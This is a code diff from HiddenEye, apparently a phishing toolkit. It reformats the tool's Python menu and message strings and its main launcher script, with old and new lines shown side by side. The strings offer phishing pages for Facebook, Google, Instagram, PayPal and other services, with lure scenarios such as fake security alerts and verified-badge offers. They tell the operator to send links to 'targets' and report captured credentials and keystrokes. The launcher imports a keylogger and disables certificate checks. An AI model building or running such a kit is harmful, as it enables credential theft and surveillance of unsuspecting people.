"{0}[{1}17{0}]{1} Netflix",
|
||||
"{0}[{1}29{0}]{1} eBay",
|
||||
],
|
||||
[
|
||||
"{0}[{1}06{0}]{1} WordPress",
|
||||
"{0}[{1}18{0}]{1} Origin",
|
||||
"{0}[{1}30{0}]{1} MySpace",
|
||||
],
|
||||
[
|
||||
"{0}[{1}07{0}]{1} Twitter",
|
||||
"{0}[{1}19{0}]{1} Pinterest",
|
||||
"{0}[{1}31{0}]{1} PayPal",
|
||||
],
|
||||
[
|
||||
"{0}[{1}08{0}]{1} Instagram",
|
||||
"{0}[{1}20{0}]{1} ProtonMail",
|
||||
"{0}[{1}32{0}]{1} Shopify",
|
||||
],
|
||||
[
|
||||
"{0}[{1}09{0}]{1} Snapchat",
|
||||
"{0}[{1}21{0}]{1} Spotify",
|
||||
"{0}[{1}33{0}]{1} Verizon",
|
||||
],
|
||||
[
|
||||
"{0}[{1}10{0}]{1} Yahoo", "{0}[{1}22{0}]{1} Quora",
|
||||
"{0}[{1}34{0}]{1} Yandex"
|
||||
],
|
||||
[
|
||||
"{0}[{1}11{0}]{1} Twitch",
|
||||
"{0}[{1}23{0}]{1} PornHub",
|
||||
"{0}[{1}35{0}]{1} Reddit",
|
||||
],
|
||||
[
|
||||
"{0}[{1}12{0}]{1} Microsoft",
|
||||
"{0}[{1}24{0}]{1} Adobe",
|
||||
"{0}[{1}36{0}]{1} Subito.it",
|
||||
],
|
||||
],
|
||||
"additional_modules":
|
||||
_("\n{0}ADDITIONAL-TOOLS:").format(default_palette[0]),
|
||||
"additional_modules_list": [[_("{0}[{1}0A{0}]{1} Get Target Location")]],
|
||||
"operation_mode":
|
||||
_("\nOperation mode:\n"),
|
||||
"facebook_operation_modes": [
|
||||
[
|
||||
_("{0}[{1}1{0}]{1} Standard Page Phishing"),
|
||||
_("{0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode)"
|
||||
),
|
||||
],
|
||||
[
|
||||
_("{0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)"
|
||||
),
|
||||
_("{0}[{1}4{0}]{1} Facebook Phishing-Messenger Credentials(messenger_mode)"
|
||||
),
|
||||
],
|
||||
],
|
||||
"google_operation_modes": [
|
||||
[
|
||||
_("{0}[{1}1{0}]{1} Standard Page Phishing"),
|
||||
_("{0}[{1}3{0}]{1} New Google Web"),
|
||||
],
|
||||
[_("{0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)")],
|
||||
],
|
||||
"instagram_operation_modes": [
|
||||
[
|
||||
_("{0}[{1}1{0}]{1} Standard Instagram Web Page Phishing"),
|
||||
_("{0}[{1}4{0}]{1} Instagram Verified Badge Attack (Lure To Get Blue Badge)"
|
||||
),
|
||||
],
|
||||
[
|
||||
_("{0}[{1}2{0}]{1} Instagram Autoliker Phishing (To Lure The Users)"
|
||||
),
|
||||
_("{0}[{1}5{0}]{1} Instafollower (Lure To Get More Followers)"),
|
||||
],
|
||||
[
|
||||
_("{0}[{1}3{0}]{1} Instagram Advanced Scenario (Appears as Instagram Profile)"
|
||||
)
|
||||
],
|
||||
],
|
||||
"VK_operation_modes": [[
|
||||
_("{0}[{1}1{0}]{1} Standard VK Web Page Phishing"),
|
||||
_("{0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)"),
|
||||
]],
|
||||
"reddit_operation_modes": [[
|
||||
_("{0}[{1}1{0}]{1} New reddit page"),
|
||||
_("{0}[{1}2{0}]{1} Old reddit page")
|
||||
]],
|
||||
"additional_module_location_operation_modes": [[
|
||||
_("{0}[{1}1{0}]{1} NEAR YOU (Webpage Looks Like Legitimate)"),
|
||||
_("{0}[{1}2{0}]{1} GDRIVE (Asks For Location Permission To redirect GDRIVE)"
|
||||
),
|
||||
]],
|
||||
}
|
||||
lang_start_phishing_page = {
|
||||
"custom_folder_directory" : _('\n {0}[{1}*{0}]{1} Custom Folder Directory is {0}WebPages/{page}').format(default_palette[0], default_palette[4], page = 'page'),
|
||||
"manual_reading_suggestion" : _('\n {0}[{1}*{0}]{1} Please Read The manual.txt File Available At {0}[WebPages/{page}]').format(default_palette[0], default_palette[4], page = 'page'),
|
||||
"press_enter_to_continue_if_setup_correctly" : _('\n {0}[{1}*{0}]{1} If You Have Set Up The Files Correctly, {0}Press Enter To continue.').format(default_palette[0], default_palette[4]),
|
||||
"copying_your_files" : _('\n {0}[{1}*{0}]{1} Copying Your Files To Server/www Folder...').format(default_palette[0], default_palette[4]),
|
||||
"https_suggestion" : _("\n{0}[{1}*{0}]{1} PLEASE USE TUNNELS/URL WITH '{0}https{1}' \n{0}[{1}*{0}]{1} Browsers Trusts only Https Links To Share Location\n").format(default_palette[0], default_palette[4]),
|
||||
"gdrive_suggestion" : _('{0}[{1}*{0}]{1} {0}Tip: {1}Use Google Drive File Url as Custom Url while asked.').format(default_palette[0], default_palette[4])
|
||||
"custom_folder_directory":
|
||||
_("\n {0}[{1}*{0}]{1} Custom Folder Directory is {0}WebPages/{page}").
|
||||
format(default_palette[0], default_palette[4], page="page"),
|
||||
"manual_reading_suggestion":
|
||||
_("\n {0}[{1}*{0}]{1} Please Read The manual.txt File Available At {0}[WebPages/{page}]"
|
||||
).format(default_palette[0], default_palette[4], page="page"),
|
||||
"press_enter_to_continue_if_setup_correctly":
|
||||
_("\n {0}[{1}*{0}]{1} If You Have Set Up The Files Correctly, {0}Press Enter To continue."
|
||||
).format(default_palette[0], default_palette[4]),
|
||||
"copying_your_files":
|
||||
_("\n {0}[{1}*{0}]{1} Copying Your Files To Server/www Folder...").format(
|
||||
default_palette[0], default_palette[4]),
|
||||
"https_suggestion":
|
||||
_("\n{0}[{1}*{0}]{1} PLEASE USE TUNNELS/URL WITH '{0}https{1}' \n{0}[{1}*{0}]{1} Browsers Trusts only Https Links To Share Location\n"
|
||||
).format(default_palette[0], default_palette[4]),
|
||||
"gdrive_suggestion":
|
||||
_("{0}[{1}*{0}]{1} {0}Tip: {1}Use Google Drive File Url as Custom Url while asked."
|
||||
).format(default_palette[0], default_palette[4]),
|
||||
}
|
||||
|
||||
lang_enter_custom_redirecting_url = {
|
||||
"enter_redirecting_url_header" : _('{0}\n-------------------------------\n{1}[ PUT YOUR REDIRECTING URL HERE ] {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||
"enter_redirecting_url_prompt" : _('\n{0}[{1}*{0}]Insert a custom redirect url:').format(default_palette[0], default_palette[4]),
|
||||
"redirect_here" : _('\n{0}REDIRECT HERE>>> {1}').format(default_palette[0], default_palette[2])
|
||||
"enter_redirecting_url_header":
|
||||
_("{0}\n-------------------------------\n{1}[ PUT YOUR REDIRECTING URL HERE ] {0}\n-------------------------------"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"enter_redirecting_url_prompt":
|
||||
_("\n{0}[{1}*{0}]Insert a custom redirect url:").format(
|
||||
default_palette[0], default_palette[4]),
|
||||
"redirect_here":
|
||||
_("\n{0}REDIRECT HERE>>> {1}").format(default_palette[0],
|
||||
default_palette[2]),
|
||||
}
|
||||
|
||||
#
|
||||
|
|
|
@ -4,56 +4,115 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.LocalizationManager.localization import _
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
lang_server_selection = {
|
||||
"server_selection" : _('{0}[ HOSTING SERVER SELECTION ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||
"select_any_available_server" : _('\n {0}[{1}*{0}]{0}Select Any Available Server:{1}').format(default_palette[0], default_palette[4]),
|
||||
"servers_list" :
|
||||
[ ['{0}[{1}00{0}]{1}Localhost', '{0}[{1}04{0}]{1}Localtunnel (not working now)'],
|
||||
['{0}[{1}01{0}]{1}Ngrok', '{0}[{1}05{0}]{1}OpenPort (not working now)'],
|
||||
['{0}[{1}02{0}]{1}Serveo', '{0}[{1}06{0}]{1}Pagekite (not working now)'],
|
||||
['{0}[{1}03{0}]{1}Localxpose (not working now)']]
|
||||
"server_selection":
|
||||
_("{0}[ HOSTING SERVER SELECTION ]{1}! {0}\n-------------------------------"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"select_any_available_server":
|
||||
_("\n {0}[{1}*{0}]{0}Select Any Available Server:{1}").format(
|
||||
default_palette[0], default_palette[4]),
|
||||
"servers_list": [
|
||||
[
|
||||
"{0}[{1}00{0}]{1}Localhost",
|
||||
"{0}[{1}04{0}]{1}Localtunnel (not working now)"
|
||||
],
|
||||
[
|
||||
"{0}[{1}01{0}]{1}Ngrok",
|
||||
"{0}[{1}05{0}]{1}OpenPort (not working now)"
|
||||
],
|
||||
[
|
||||
"{0}[{1}02{0}]{1}Serveo",
|
||||
"{0}[{1}06{0}]{1}Pagekite (not working now)"
|
||||
],
|
||||
["{0}[{1}03{0}]{1}Localxpose (not working now)"],
|
||||
],
|
||||
}
|
||||
|
||||
lang_start_localhost = {
|
||||
"localhost_server" : _('\n{0}[ LOCALHOST SERVER ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||
"your_localhost_is" : _('Your Localhost is '),
|
||||
"starting_server_on_addr" : _('\n[*] Starting Server On Address:: {0}:{1}'),
|
||||
"running_localhost_server" : _('\n{0}[ RUNNING LOCALHOST SERVER ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||
"send_this_url_suggestion" : _('\n{0}[{1}!{0}]{1} SEND THIS URL TO TARGETS ON SAME NETWORK').format(default_palette[0], default_palette[2]),
|
||||
"localhost_url" : _('\n{0}[{1}*{0}]{1} Localhost URL: {2}http://').format(default_palette[2], default_palette[3], default_palette[3])
|
||||
"localhost_server":
|
||||
_("\n{0}[ LOCALHOST SERVER ]{1}! {0}\n-------------------------------").
|
||||
format(default_palette[0], default_palette[2]),
|
||||
"your_localhost_is":
|
||||
_("Your Localhost is "),
|
||||
"starting_server_on_addr":
|
||||
_("\n[*] Starting Server On Address:: {0}:{1}"),
|
||||
"running_localhost_server":
|
||||
_("\n{0}[ RUNNING LOCALHOST SERVER ]{1}! {0}\n-------------------------------"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"send_this_url_suggestion":
|
||||
_("\n{0}[{1}!{0}]{1} SEND THIS URL TO TARGETS ON SAME NETWORK").format(
|
||||
default_palette[0], default_palette[2]),
|
||||
"localhost_url":
|
||||
_("\n{0}[{1}*{0}]{1} Localhost URL: {2}http://").format(
|
||||
default_palette[2], default_palette[3], default_palette[3]),
|
||||
}
|
||||
|
||||
lang_start_ngrok = {
|
||||
"ngrok_server" : _('\n{0}[ NGROK SERVER ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||
"send_this_url_suggestion" : _("\n{0}[{1}!{0}]{1} SEND THIS NGROK URL TO TARGETS").format(default_palette[0], default_palette[2]),
|
||||
"ngrok_url" : _('\n{0}[{1}*{0}]{1} NGROK URL: {2}').format(default_palette[0], default_palette[2], default_palette[3])
|
||||
"ngrok_server":
|
||||
_("\n{0}[ NGROK SERVER ]{1}! {0}\n-------------------------------").format(
|
||||
default_palette[0], default_palette[2]),
|
||||
"send_this_url_suggestion":
|
||||
_("\n{0}[{1}!{0}]{1} SEND THIS NGROK URL TO TARGETS").format(
|
||||
default_palette[0], default_palette[2]),
|
||||
"ngrok_url":
|
||||
_("\n{0}[{1}*{0}]{1} NGROK URL: {2}").format(default_palette[0],
|
||||
default_palette[2],
|
||||
default_palette[3]),
|
||||
}
|
||||
|
||||
lang_start_serveo = {
|
||||
"serveo_random_server" : _('\n{0}[ RANDOM SERVEO URL ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||
"serveo_custom_server" : _('\n{0}[ CUSTOM SERVEO URL ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||
"send_this_url_suggestion" : _('\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO TARGETS').format(default_palette[0], default_palette[4]),
|
||||
"make_url_simmilar_to_real_suggestion" : _('\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO ORIGINAL.').format(default_palette[0], default_palette[4]),
|
||||
"insert_custom_subdomain" : _('\n{0}Insert a custom subdomain for serveo').format(default_palette[0], default_palette[2]),
|
||||
"serveo_url" : _('\n{0}[{1}*{0}]{1} SERVEO URL: {2}').format(default_palette[0], default_palette[4], default_palette[3]),
|
||||
"failed_to_get_domain" : _('\n{0}FAILED TO GET THIS DOMAIN.').format(default_palette[0]),
|
||||
"suggestion_to_fix_issue" : _('\n{0}CUSTOM URL MAY BE NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE.').format(default_palette[0]),
|
||||
"you_can_try_to_select_other_domain" : _('\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK)...').format(default_palette[0], default_palette[4]),
|
||||
"serveo_url_option_selection" : _('\n{0}[ SERVEO URL TYPE SELECTION ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||
"serveo_phishing_warning" : _('\n{0}[{1}!{0}]{1}Serveo Drops The Connection Whenever Detects Phishing. Be careful.').format(default_palette[0], default_palette[2]),
|
||||
"choose_type_of_url" : _('\n{0}[{1}*{0}]{0}CHOOSE SERVEO URL TYPE TO GENERATE PHISHING LINK:{1}').format(default_palette[0], default_palette[2]),
|
||||
"url_types" :
|
||||
[ ['{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url)'],
|
||||
['{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)'] ],
|
||||
"serveo_is_down" : _('{0}[{1}1{0}]Serveo is {1}DOWN{0} now, do you want to select another option? {1}Y{0}/{1}n{0}').format(default_palette[0], default_palette[2])
|
||||
"serveo_random_server":
|
||||
_("\n{0}[ RANDOM SERVEO URL ]{1}! {0}\n-------------------------------"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"serveo_custom_server":
|
||||
_("\n{0}[ CUSTOM SERVEO URL ]{1}! {0}\n-------------------------------"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"send_this_url_suggestion":
|
||||
_("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO TARGETS").format(
|
||||
default_palette[0], default_palette[4]),
|
||||
"make_url_simmilar_to_real_suggestion":
|
||||
_("\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO ORIGINAL.").format(
|
||||
default_palette[0], default_palette[4]),
|
||||
"insert_custom_subdomain":
|
||||
_("\n{0}Insert a custom subdomain for serveo").format(
|
||||
default_palette[0], default_palette[2]),
|
||||
"serveo_url":
|
||||
_("\n{0}[{1}*{0}]{1} SERVEO URL: {2}").format(default_palette[0],
|
||||
default_palette[4],
|
||||
default_palette[3]),
|
||||
"failed_to_get_domain":
|
||||
_("\n{0}FAILED TO GET THIS DOMAIN.").format(default_palette[0]),
|
||||
"suggestion_to_fix_issue":
|
||||
_("\n{0}CUSTOM URL MAY BE NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE."
|
||||
).format(default_palette[0]),
|
||||
"you_can_try_to_select_other_domain":
|
||||
_("\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK)...").
|
||||
format(default_palette[0], default_palette[4]),
|
||||
"serveo_url_option_selection":
|
||||
_("\n{0}[ SERVEO URL TYPE SELECTION ]{1}! {0}\n-------------------------------"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"serveo_phishing_warning":
|
||||
_("\n{0}[{1}!{0}]{1}Serveo Drops The Connection Whenever Detects Phishing. Be careful."
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"choose_type_of_url":
|
||||
_("\n{0}[{1}*{0}]{0}CHOOSE SERVEO URL TYPE TO GENERATE PHISHING LINK:{1}"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"url_types": [
|
||||
["{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url)"],
|
||||
["{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)"],
|
||||
],
|
||||
"serveo_is_down":
|
||||
_("{0}[{1}1{0}]Serveo is {1}DOWN{0} now, do you want to select another option? {1}Y{0}/{1}n{0}"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
}
|
||||
|
||||
lang_start_localxpose = {
|
||||
"localxpose_random_server" : _('\n{0}[ RANDOM LOCALXPOSE URL ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2])
|
||||
"localxpose_random_server":
|
||||
_("\n{0}[ RANDOM LOCALXPOSE URL ]{1}! {0}\n-------------------------------"
|
||||
).format(default_palette[0], default_palette[2])
|
||||
}
|
|
@ -4,16 +4,12 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
|
||||
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.LocalizationManager.localization import _
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
|
||||
text_to_confirm_license = _('Yes, i do')
|
||||
text_to_confirm_license = _("Yes, i do")
|
||||
|
||||
write_eula = _("""
|
||||
# To Accept EULA set eula to True
|
||||
|
@ -22,61 +18,119 @@ write_eula = _("""
|
|||
""")
|
||||
|
||||
lang_check_php = {
|
||||
"found" : _('\n {0}[{1}*{0}] PHP has been found. Proceeding.').format(default_palette[0], default_palette[2]),
|
||||
"not-found" : _('\n {0}[{1}*{0}] Unable to find PHP, please install PHP and try again.').format(default_palette[0], default_palette[2])
|
||||
"found":
|
||||
_("\n {0}[{1}*{0}] PHP has been found. Proceeding.").format(
|
||||
default_palette[0], default_palette[2]),
|
||||
"not-found":
|
||||
_("\n {0}[{1}*{0}] Unable to find PHP, please install PHP and try again.").
|
||||
format(default_palette[0], default_palette[2]),
|
||||
}
|
||||
|
||||
lang_check_permissions = {
|
||||
"permissions_granted" : _('{0}Permissions granted!').format(default_palette[0]),
|
||||
"permissions_denied" : _('{0}Permissions denied! Please run as {1}sudo{0}').format(default_palette[0], default_palette[2]),
|
||||
"windows_warning" : _("\n{0}[{1}!{0}] {1}Windows systems {0}aren't compatible yet. Make sure you're using a {1}Linux/GNU{0} system.").format(default_palette[0], default_palette[2])
|
||||
"permissions_granted":
|
||||
_("{0}Permissions granted!").format(default_palette[0]),
|
||||
"permissions_denied":
|
||||
_("{0}Permissions denied! Please run as {1}sudo{0}").format(
|
||||
default_palette[0], default_palette[2]),
|
||||
"windows_warning":
|
||||
_("\n{0}[{1}!{0}] {1}Windows systems {0}aren't compatible yet. Make sure you're using a {1}Linux/GNU{0} system."
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
}
|
||||
|
||||
lang_verify_connection = {
|
||||
"connected" : _('\n {0}[{1}*{0}] INTERNET - {1}[CONNECTED]').format(default_palette[0], default_palette[2]),
|
||||
"disconnected" : _('\n {0}[{1}*{0}] INTERNET - {1}[DISCONNECTED]').format(default_palette[0], default_palette[2]),
|
||||
"verify_your_connection" : _('\n{0}[{1}!{0}] Network error. Please verify your internet connection.').format(default_palette[2], default_palette[0])
|
||||
"connected":
|
||||
_("\n {0}[{1}*{0}] INTERNET - {1}[CONNECTED]").format(
|
||||
default_palette[0], default_palette[2]),
|
||||
"disconnected":
|
||||
_("\n {0}[{1}*{0}] INTERNET - {1}[DISCONNECTED]").format(
|
||||
default_palette[0], default_palette[2]),
|
||||
"verify_your_connection":
|
||||
_("\n{0}[{1}!{0}] Network error. Please verify your internet connection.").
|
||||
format(default_palette[2], default_palette[0]),
|
||||
}
|
||||
|
||||
lang_module_loading_message = {
|
||||
"is_loaded" : _('{0} IS LOADED...{0}\n--------------------------------').format(default_palette[0], default_palette[2]),
|
||||
"select_any_mode" : _('\n {0}[{1}*{0}] SELECT ANY MODE...{0}\n--------------------------------').format(default_palette[0], default_palette[2])
|
||||
"is_loaded":
|
||||
_("{0} IS LOADED...{0}\n--------------------------------").format(
|
||||
default_palette[0], default_palette[2]),
|
||||
"select_any_mode":
|
||||
_("\n {0}[{1}*{0}] SELECT ANY MODE...{0}\n--------------------------------"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
}
|
||||
|
||||
lang_get_ip_addr = {
|
||||
"unable_to_get_ip" : 'Unable to get Hostname and IP'
|
||||
}
|
||||
lang_get_ip_addr = {"unable_to_get_ip": "Unable to get Hostname and IP"}
|
||||
|
||||
lang_port_selector = {
|
||||
"website_port_selection" : _('\n{0}[ WEBSERVER PORT SELECTION ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||
"select_any_available_port" : _("\n {0}[{1}*{0}]Select Port [1-65535]:{1}").format(default_palette[0], default_palette[4]),
|
||||
"port_suggestion" : _('\n {0}[{1}*{0} We suggest using ports between [{1}1024{0}-{1}65535{0}] but you still able to choose any ports you want.').format(default_palette[0], default_palette[4])
|
||||
"website_port_selection":
|
||||
_("\n{0}[ WEBSERVER PORT SELECTION ]{1}! {0}\n-------------------------------"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"select_any_available_port":
|
||||
_("\n {0}[{1}*{0}]Select Port [1-65535]:{1}").format(
|
||||
default_palette[0], default_palette[4]),
|
||||
"port_suggestion":
|
||||
_("\n {0}[{1}*{0} We suggest using ports between [{1}1024{0}-{1}65535{0}] but you still able to choose any ports you want."
|
||||
).format(default_palette[0], default_palette[4]),
|
||||
}
|
||||
|
||||
lang_exit_message = {
|
||||
"choice" : _('\n{0}[{1}?{0}] Re-run(r) : Exit(x) : Send Email(m) : SelectServer(s)\n\n >> {2}').format(default_palette[0], default_palette[4], default_palette[2]),
|
||||
"help_to_improve_this_tool" : _('{1} [[*]] {0}You always can help to improve this tool and support us. {0}').format(default_palette[2], default_palette[0]),
|
||||
"tell_if_page_got_broken" : _('{0}[{1}!{0}] If any phishing page got broken, please let us know.').format(default_palette[2], default_palette[0]),
|
||||
"make_your_pull_request_or_issue" : _('{0}[{1}!{0}] You can create issue or pull request on our GitHub page.').format(default_palette[2], default_palette[0]),
|
||||
"small_disclaimer_suggestion" : _("{0}[{1}!{0}] We are not responsible for anything you do with this tool, please review license agreement when you have some time. \n{0}[{1}!{0}] We know everyone skips it and just agrees, but please, don't act so irresponsible with any software you use.").format(default_palette[2], default_palette[0]),
|
||||
"forum_suggestion" : _('{0}[{1}!{0}] Our website has forum, please visit it, we want to build great community for all of you, we are always happy to have your help.').format(default_palette[2], default_palette[0]),
|
||||
"financial_support" : _("{0}[{1}!{0}] If you want to support us with finances - visit our patreon page: (here_will_be_link_soon)").format(default_palette[2], default_palette[0]),
|
||||
"thank_you" : _('{0}[{1}!{0}] You help us even when you just use this tool. Everyone at {1}DarkSec{0} happy to have you, thank you very much! Have a nice day!').format(default_palette[2], default_palette[0])
|
||||
"choice":
|
||||
_("\n{0}[{1}?{0}] Re-run(r) : Exit(x) : Send Email(m) : SelectServer(s)\n\n >> {2}"
|
||||
).format(default_palette[0], default_palette[4], default_palette[2]),
|
||||
"help_to_improve_this_tool":
|
||||
_("{1} [[*]] {0}You always can help to improve this tool and support us. {0}"
|
||||
).format(default_palette[2], default_palette[0]),
|
||||
"tell_if_page_got_broken":
|
||||
_("{0}[{1}!{0}] If any phishing page got broken, please let us know."
|
||||
).format(default_palette[2], default_palette[0]),
|
||||
"make_your_pull_request_or_issue":
|
||||
_("{0}[{1}!{0}] You can create issue or pull request on our GitHub page.").
|
||||
format(default_palette[2], default_palette[0]),
|
||||
"small_disclaimer_suggestion":
|
||||
_("{0}[{1}!{0}] We are not responsible for anything you do with this tool, please review license agreement when you have some time. \n{0}[{1}!{0}] We know everyone skips it and just agrees, but please, don't act so irresponsible with any software you use."
|
||||
).format(default_palette[2], default_palette[0]),
|
||||
"forum_suggestion":
|
||||
_("{0}[{1}!{0}] Our website has forum, please visit it, we want to build great community for all of you, we are always happy to have your help."
|
||||
).format(default_palette[2], default_palette[0]),
|
||||
"financial_support":
|
||||
_("{0}[{1}!{0}] If you want to support us with finances - visit our patreon page: (here_will_be_link_soon)"
|
||||
).format(default_palette[2], default_palette[0]),
|
||||
"thank_you":
|
||||
_("{0}[{1}!{0}] You help us even when you just use this tool. Everyone at {1}DarkSec{0} happy to have you, thank you very much! Have a nice day!"
|
||||
).format(default_palette[2], default_palette[0]),
|
||||
}
|
||||
|
||||
lang_credentials_collector = {
|
||||
"waiting_for_interaction" : _("{0}[{1}*{0}]{1} Waiting For Target Interaction. Keep Eyes On Requests Coming From Target ... \n{2}________________________________________________________________________________\n").format(default_palette[0], default_palette[2], default_palette[4]),
|
||||
"credentials_found" : _('\n {0}[{1} CREDENTIALS FOUND {0}]{1}:\n').format(default_palette[2], default_palette[3]),
|
||||
"device_details_found" : _('\n {0}[{1} DEVICE DETAILS FOUND {0}]{1}:\n').format(default_palette[2], default_palette[3]),
|
||||
"getting_pressed_keys" : _('\n {1}[{0} GETTING PRESSED KEYS {1}]{1}:\n').format(default_palette[2], default_palette[3])
|
||||
"waiting_for_interaction":
|
||||
_("{0}[{1}*{0}]{1} Waiting For Target Interaction. Keep Eyes On Requests Coming From Target ... \n{2}________________________________________________________________________________\n"
|
||||
).format(default_palette[0], default_palette[2], default_palette[4]),
|
||||
"credentials_found":
|
||||
_("\n {0}[{1} CREDENTIALS FOUND {0}]{1}:\n").format(
|
||||
default_palette[2], default_palette[3]),
|
||||
"device_details_found":
|
||||
_("\n {0}[{1} DEVICE DETAILS FOUND {0}]{1}:\n").format(
|
||||
default_palette[2], default_palette[3]),
|
||||
"getting_pressed_keys":
|
||||
_("\n {1}[{0} GETTING PRESSED KEYS {1}]{1}:\n").format(
|
||||
default_palette[2], default_palette[3]),
|
||||
}
|
||||
|
||||
lang_terms_of_service_message = {
|
||||
"great_power_great_responsibility" : _(" {0}WITH GREAT POWER {1}- {0}COMES GREAT RESPONSIBILITY ").format(default_palette[0], default_palette[2]),
|
||||
"do_you_accept_license" : _("{0}Do you accept {1}license{0}?").format(default_palette[2], default_palette[0]),
|
||||
"enter_this_to_confirm" : _("{0}Enter: {1}{text_to_confirm}{0} to confirm.").format(default_palette[2], default_palette[0], text_to_confirm = text_to_confirm_license),
|
||||
"you_are_not_allowed" : _("{0}You are {1}not allowed {0}to use this app without accepting license.").format(default_palette[2], default_palette[0]),
|
||||
"GPL_3.0" : _("""
|
||||
"great_power_great_responsibility":
|
||||
_(" {0}WITH GREAT POWER {1}- {0}COMES GREAT RESPONSIBILITY "
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"do_you_accept_license":
|
||||
_("{0}Do you accept {1}license{0}?").format(default_palette[2],
|
||||
default_palette[0]),
|
||||
"enter_this_to_confirm":
|
||||
_("{0}Enter: {1}{text_to_confirm}{0} to confirm.").format(
|
||||
default_palette[2],
|
||||
default_palette[0],
|
||||
text_to_confirm=text_to_confirm_license),
|
||||
"you_are_not_allowed":
|
||||
_("{0}You are {1}not allowed {0}to use this app without accepting license."
|
||||
).format(default_palette[2], default_palette[0]),
|
||||
"GPL_3.0":
|
||||
_("""
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
|
@ -751,5 +805,5 @@ may consider it more useful to permit linking proprietary applications with
|
|||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
||||
""")
|
||||
"""),
|
||||
}
|
26
HiddenEye.py
26
HiddenEye.py
|
@ -4,24 +4,26 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
from os import system, environ
|
||||
import multiprocessing
|
||||
import ssl
|
||||
import sys
|
||||
from os import environ
|
||||
from os import system
|
||||
|
||||
import Defs.ActionManager.main_runner as main_runner
|
||||
import Defs.FeatureManager.keylogger as keylogger
|
||||
import Defs.FeatureManager.cloudflare as cloudflare
|
||||
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
|
||||
import Defs.ActionManager.Server.server_runner as server_runner
|
||||
import Defs.ActionManager.simple_informant as simple_informant
|
||||
import multiprocessing
|
||||
import sys
|
||||
import ssl
|
||||
|
||||
import Defs.FeatureManager.cloudflare as cloudflare
|
||||
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
|
||||
import Defs.FeatureManager.keylogger as keylogger
|
||||
|
||||
simple_informant.license_handler()
|
||||
agreement = simple_informant.terms_of_service_message()
|
||||
if not agreement:
|
||||
exit()
|
||||
|
||||
if not environ.get('PYTHONHTTPSVERIFY', "") and getattr(ssl, '_create_unverified_context', None):
|
||||
if not environ.get("PYTHONHTTPSVERIFY", "") and getattr(
|
||||
ssl, "_create_unverified_context", None):
|
||||
ssl._create_default_https_context = ssl._create_unverified_context
|
||||
|
||||
simple_informant.check_permissions()
|
||||
|
@ -47,10 +49,12 @@ if __name__ == "__main__":
|
|||
server_runner.start_server(port)
|
||||
server_runner.server_selection(port)
|
||||
|
||||
multiprocessing.Process(target=server_runner.start_server, args=(port,)).start()
|
||||
multiprocessing.Process(target=server_runner.start_server,
|
||||
args=(port, )).start()
|
||||
simple_informant.credentials_collector()
|
||||
|
||||
except KeyboardInterrupt:
|
||||
port = '8080' # When Keyword Interrupt Occurs before defining Port by User. Script will use 8080 port.(Just To Remove Exception Errors)
|
||||
# When Keyword Interrupt Occurs before defining Port by User. Script will use 8080 port.(Just To Remove Exception Errors)
|
||||
port = "8080"
|
||||
simple_informant.exit_message(port)
|
||||
exit()
|
||||
|
|
Binary file not shown.
|
@ -1258,4 +1258,3 @@ msgid ""
|
|||
"Public License instead of this License. But first, please read\n"
|
||||
